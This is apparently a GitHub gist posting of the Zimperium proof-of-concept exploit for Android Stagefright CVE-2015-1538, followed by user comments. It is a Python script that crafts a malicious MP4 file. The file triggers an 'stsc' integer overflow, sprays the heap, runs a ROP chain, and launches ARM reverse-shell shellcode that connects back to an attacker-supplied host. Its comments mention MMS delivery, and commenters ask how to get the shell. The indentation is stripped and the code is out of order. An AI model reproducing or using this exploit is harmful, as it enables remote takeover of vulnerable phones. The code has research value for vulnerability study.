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if __name__ == '__main__':
import sys
import mp4
import argparse
def write_file(path, content):
with open(path, 'wb') as f:
f.write(content)
def addr(sval):
if sval.startswith('0x'):
return int(sval, 16)
return int(sval)
# The address of a fake StrongPointer object (sprayed)
sp_addr = 0x41d00010 # takju @ imm76i – 2MB (via hangouts)
# The address to of our ROP pivot
newpc_val = 0xb0002850 # point sp at __dl_restore_core_regs
# Allow the user to override parameters
parser = argparse.ArgumentParser()
parser.add_argument('-c', '–connectback-host', dest='cbhost', default='31.3.3.7')
parser.add_argument('-p', '–connectback-port', dest='cbport', type=int, default=12345)
parser.add_argument('-s', '–spray-address', dest='spray_addr', type=addr, default=None)
parser.add_argument('-r', '–rop-pivot', dest='rop_pivot', type=addr, default=None)
parser.add_argument('-o', '–output-file', dest='output_file', default='cve-2015-1538-1.mp4')
args = parser.parse_args()
if len(sys.argv) == 1:
parser.print_help()
sys.exit(-1)
if args.spray_addr == None:
args.spray_addr = sp_addr
if args.rop_pivot == None:
args.rop_pivot = newpc_val
# Build the MP4 file…
data = mp4.create_mp4(args.spray_addr, args.rop_pivot, args.cbhost, args.cbport)
print('[*] Saving crafted MP4 to %s …' % args.output_file)
write_file(args.output_file, data)
#- 'See more at: https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/#sthash.MbvoiMxd.dpuf'
#!/usr/bin/env python
# Joshua J. Drake (@jduck) of ZIMPERIUM zLabs
# Shout outs to our friends at Optiv (formerly Accuvant Labs)
# (C) Joshua J. Drake, ZIMPERIUM Inc, Mobile Threat Protection, 2015
# www.zimperium.com
#
# Exploit for RCE Vulnerability CVE-2015-1538 #1
# Integer Overflow in the libstagefright MP4 'stsc' atom handling
#
# Don't forget, the output of “create_mp4'' can be delivered many ways!
# MMS is the most dangerous attack vector, but not the only one…
#
# DISCLAIMER: This exploit is for testing and educational purposes only. Any
# other usage for this code is not allowed. Use at your own risk.
#
# “With great power comes great responsibility.'' – Uncle Ben
#
import struct
import socket
#
# Creates a single MP4 atom – LEN, TAG, DATA
#
def make_chunk(tag, data):
if len(tag) != 4:
raise 'Yo! They call it "FourCC" for a reason.'
ret = struct.pack('>L', len(data) + 8)
ret += tag
ret += data
return ret
#
# Make an 'stco' atom – Sample Table Chunk Offets
#
def make_stco(extra=''):
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mNumChunkOffsets
return make_chunk('stco', ret+extra)
#
# Make an 'stsz' atom – Sample Table Size
#
def make_stsz(extra=''):
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mDefaultSampleSize
ret += struct.pack('>L', 0) # mNumSampleSizes
return make_chunk('stsz', ret+extra)
#
# Make an 'stts' atom – Sample Table Time-to-Sample
#
def make_stts():
ret = struct.pack('>L', 0) # version
ret += struct.pack('>L', 0) # mTimeToSampleCount
return make_chunk('stts', ret)
#
# This creates a single Sample Table Sample-to-Chunk entry
#
def make_stsc_entry(start, per, desc):
ret = ''
ret += struct.pack('>L', start + 1)
ret += struct.pack('>L', per)
ret += struct.pack('>L', desc)
return ret
#
# Make an 'stsc' chunk – Sample Table Sample-to-Chunk
#
# If the caller desires, we will attempt to trigger (CVE-2015-1538 #1) and
# cause a heap overflow.
#
def make_stsc(num_alloc, num_write, sp_addr=0x42424242, do_overflow = False):
ret = struct.pack('>L', 0) # version/flags
# this is the clean version…
if not do_overflow:
ret += struct.pack('>L', num_alloc) # mNumSampleToChunkOffsets
ret += 'Z' * (12 * num_alloc)
return make_chunk('stsc', ret)
# now the explicit version. (trigger the bug)
ret += struct.pack('>L', 0xc0000000 + num_alloc) # mNumSampleToChunkOffsets
# fill in the entries that will overflow the buffer
for x in range(0, num_write):
ret += make_stsc_entry(sp_addr, sp_addr, sp_addr)
ret = make_chunk('stsc', ret)
# patch the data_size
ret = struct.pack('>L', 8 + 8 + (num_alloc * 12)) + ret[4:]
return ret
#
# Build the ROP chain
#
# ROP pivot by Georg Wicherski! Thanks!
#
'''
(gdb) x/10i __dl_restore_core_regs
0xb0002850 <__dl_restore_core_regs>: add r1, r0, #52 ; 0x34
0xb0002854 <__dl_restore_core_regs+4>: ldm r1, {r3, r4, r5}
0xb0002858 <__dl_restore_core_regs+8>: push {r3, r4, r5}
0xb000285c <__dl_restore_core_regs+12>: ldm r0, {r0, r1, r2, r3, r4, r5, r6, r7, r8, r9, r10, r11}
0xb0002860 <__dl_restore_core_regs+16>: ldm sp, {sp, lr, pc}
'''
'''
b0001144 <__dl_mprotect>:
b0001144: e92d0090 push {r4, r7}
b0001148: e3a0707d mov r7, #125 ; 0x7d
b000114c: ef000000 svc 0x00000000
b0001150: e8bd0090 pop {r4, r7}
b0001154: e1b00000 movs r0, r0
b0001158: 512fff1e bxpl lr
b000115c: ea0015cc b b0006894 <__dl_raise+0x10>
'''
def build_rop(off, sp_addr, newpc_val, cb_host, cb_port):
rop = ''
rop += struct.pack('<L', sp_addr + off + 0x10) # new sp
rop += struct.pack('<L', 0xb0002a98) # new lr – pop {pc}
rop += struct.pack('<L', 0xb00038b2+1) # new pc: pop {r0, r1, r2, r3, r4, pc}
rop += struct.pack('<L', sp_addr & 0xfffff000) # new r0 – base address (page aligned)
rop += struct.pack('<L', 0x1000) # new r1 – length
rop += struct.pack('<L', 7) # new r2 – protection
rop += struct.pack('<L', 0xd000d003) # new r3 – scratch
rop += struct.pack('<L', 0xd000d004) # new r4 – scratch
rop += struct.pack('<L', 0xb0001144) # new pc – _dl_mprotect
native_start = sp_addr + 0x80
rop += struct.pack('<L', native_start) # address of native payload
#rop += struct.pack('<L', 0xfeedfed5) # top of stack…
# linux/armle/shell_reverse_tcp (modified to pass env and fork/exit)
buf = ''
# fork
buf += '\x02\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# continue if not parent…
buf += '\x00\x00\x50\xe3'
buf += '\x02\x00\x00\x0a'
# exit parent
buf += '\x00\x00\xa0\xe3'
buf += '\x01\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# setsid in child
buf += '\x42\x70\xa0\xe3'
buf += '\x00\x00\x00\xef'
# socket/connect/dup2/dup2/dup2
buf += '\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x05\x20\x81\xe2\x8c'
buf += '\x70\xa0\xe3\x8d\x70\x87\xe2\x00\x00\x00\xef\x00\x60'
buf += '\xa0\xe1\x6c\x10\x8f\xe2\x10\x20\xa0\xe3\x8d\x70\xa0'
buf += '\xe3\x8e\x70\x87\xe2\x00\x00\x00\xef\x06\x00\xa0\xe1'
buf += '\x00\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x06'
buf += '\x00\xa0\xe1\x01\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00'
buf += '\x00\xef\x06\x00\xa0\xe1\x02\x10\xa0\xe3\x3f\x70\xa0'
buf += '\xe3\x00\x00\x00\xef'
# execve(shell, argv, env)
buf += '\x30\x00\x8f\xe2\x04\x40\x24\xe0'
buf += '\x10\x00\x2d\xe9\x38\x30\x8f\xe2\x08\x00\x2d\xe9\x0d'
buf += '\x20\xa0\xe1\x10\x00\x2d\xe9\x24\x40\x8f\xe2\x10\x00'
buf += '\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00'
buf += '\xef\x02\x00'
# Add the connect back host/port
buf += struct.pack('!H', cb_port)
cb_host = socket.inet_aton(cb_host)
buf += struct.pack('=4s', cb_host)
# shell –
buf += '/system/bin/sh\x00\x00'
# argv –
buf += 'sh\x00\x00'
# env –
buf += 'PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin\x00'
# Add some identifiable stuff, just in case something goes awry…
rop_start_off = 0x34
x = rop_start_off + len(rop)
while len(rop) < 0x80 - rop_start_off:
rop += struct.pack('<L', 0xf0f00000+x)
x += 4
# Add the native payload…
rop += buf
return rop
#
# Build an mp4 that exploits CVE-2015-1538 #1
#
# We mimic meow.3gp here…
#
def create_mp4(sp_addr, newpc_val, cb_host, cb_port):
chunks = []
# Build the MP4 header…
ftyp = 'mp42'
ftyp += struct.pack('>L', 0)
ftyp += 'mp42'
ftyp += 'isom'
chunks.append(make_chunk('ftyp', ftyp))
# Note, this causes a few allocations…
moov_data = ''
moov_data += make_chunk('mvhd',
struct.pack('>LL', 0, 0x41414141) +
('B' * 0x5c) )
# Add a minimal, verified trak to satisfy mLastTrack being set
moov_data += make_chunk('trak',
make_chunk('stbl',
make_stsc(0x28, 0x28) +
make_stco() +
make_stsz() +
make_stts() ))
# Spray the heap using a large tx3g chunk (can contain binary data!)
'''
0x4007004e <_ZNK7android7RefBase9decStrongEPKv+2>: ldr r4, [r0, #4] ; load mRefs
0x40070050 <_ZNK7android7RefBase9decStrongEPKv+4>: mov r5, r0
0x40070052 <_ZNK7android7RefBase9decStrongEPKv+6>: mov r6, r1
0x40070054 <_ZNK7android7RefBase9decStrongEPKv+8>: mov r0, r4
0x40070056 <_ZNK7android7RefBase9decStrongEPKv+10>: blx 0x40069884 ; atomic_decrement
0x4007005a <_ZNK7android7RefBase9decStrongEPKv+14>: cmp r0, #1 ; must be 1
0x4007005c <_ZNK7android7RefBase9decStrongEPKv+16>: bne.n 0x40070076 <_ZNK7android7RefBase9decStrongEPKv+42>
0x4007005e <_ZNK7android7RefBase9decStrongEPKv+18>: ldr r0, [r4, #8] ; load refs->mBase
0x40070060 <_ZNK7android7RefBase9decStrongEPKv+20>: ldr r1, [r0, #0] ; load mBase._vptr
0x40070062 <_ZNK7android7RefBase9decStrongEPKv+22>: ldr r2, [r1, #12] ; load method address
0x40070064 <_ZNK7android7RefBase9decStrongEPKv+24>: mov r1, r6
0x40070066 <_ZNK7android7RefBase9decStrongEPKv+26>: blx r2 ; call it!
'''
page = ''
off = 0 # the offset to the next object
off += 8
page += struct.pack('<L', sp_addr + 8 + 16 + 8 + 12 - 28) # _vptr.RefBase (for when we smash mDataSource)
page += struct.pack('<L', sp_addr + off) # mRefs
off += 16
page += struct.pack('<L', 1) # mStrong
page += struct.pack('<L', 0xc0dedbad) # mWeak
page += struct.pack('<L', sp_addr + off) # mBase
page += struct.pack('<L', 16) # mFlags (dont set OBJECT_LIFETIME_MASK)
off += 8
page += struct.pack('<L', sp_addr + off) # the mBase _vptr.RefBase
page += struct.pack('<L', 0xf00dbabe) # mBase.mRefs (unused)
off += 16
page += struct.pack('<L', 0xc0de0000 + 0x00) # vtable entry 0
page += struct.pack('<L', 0xc0de0000 + 0x04) # vtable entry 4
page += struct.pack('<L', 0xc0de0000 + 0x08) # vtable entry 8
page += struct.pack('<L', newpc_val) # vtable entry 12
rop = build_rop(off, sp_addr, newpc_val, cb_host, cb_port)
x = len(page)
while len(page) < 4096:
page += struct.pack('<L', 0xf0f00000+x)
x += 4
off = 0x34
page = page[:off] + rop + page[off+len(rop):]
spray = page * (((2*1024*1024) / len(page)) - 20)
moov_data += make_chunk('tx3g', spray)
block = 'A' * 0x1c
bigger = 'B' * 0x40
udta = make_chunk('udta',
make_chunk('meta',
struct.pack('>L', 0) +
make_chunk('ilst',
make_chunk('cpil', make_chunk('data', struct.pack('>LL', 21, 0) + 'A')) +
make_chunk('trkn', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABBBB')) +
make_chunk('disk', make_chunk('data', struct.pack('>LL', 0, 0) + 'AAAABB')) +
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
make_chunk('\xa9alb', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('aART', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9nam', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + block)) +
make_chunk('gnre', make_chunk('data', struct.pack('>LL', 1, 0) + block)) +
make_chunk('covr', make_chunk('data', struct.pack('>LL', 0, 0) + block)) * 32 +
make_chunk('\xa9ART', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
make_chunk('\xa9wrt', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)) +
make_chunk('\xa9day', make_chunk('data', struct.pack('>LL', 0, 0) + bigger)))
)
)
moov_data += udta
# Make the nasty trak
tkhd1 = ''.join([
'\x00', # version
'D' * 3, # padding
'E' * (5*4), # {c,m}time, id, ??, duration
'F' * 0x10, # ??
struct.pack('>LLLLLL',
0x10000, # a00
0, # a01
0, # dx
0, # a10
0x10000, # a11
0), # dy
'G' * 0x14
])
trak1 = ''
trak1 += make_chunk('tkhd', tkhd1)
mdhd1 = ''.join([
'\x00', # version
'D' * 0x17, # padding
])
mdia1 = ''
mdia1 += make_chunk('mdhd', mdhd1)
mdia1 += make_chunk('hdlr', 'F' * 0x3a)
dinf1 = ''
dinf1 += make_chunk('dref', 'H' * 0x14)
minf1 = ''
minf1 += make_chunk('smhd', 'G' * 0x08)
minf1 += make_chunk('dinf', dinf1)
# Build the nasty sample table to trigger the vulnerability here.
stbl1 = make_stsc(3, (0x1200 / 0xc) - 1, sp_addr, True) # TRIGGER
# Add the stbl to the minf chunk
minf1 += make_chunk('stbl', stbl1)
# Add the minf to the mdia chunk
mdia1 += make_chunk('minf', minf1)
# Add the mdia to the track
trak1 += make_chunk('mdia', mdia1)
# Add the nasty track to the moov data
moov_data += make_chunk('trak', trak1)
# Finalize the moov chunk
moov = make_chunk('moov', moov_data)
chunks.append(moov)
# Combine outer chunks together and voila.
data = ''.join(chunks)
return data
@Zabeh-Hakimi

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@Zabeh-Hakimi Zabeh-Hakimi commented Sep 12, 2015

Hi, Please explain the usage how to use it and get the reverse shell ?

thanks

@zikoriko

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@zikoriko zikoriko commented Sep 23, 2015

Please we need how to use it

@AE5

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Owner Author

@AE5 AE5 commented Sep 28, 2015

this is Proof of Concept exploit.

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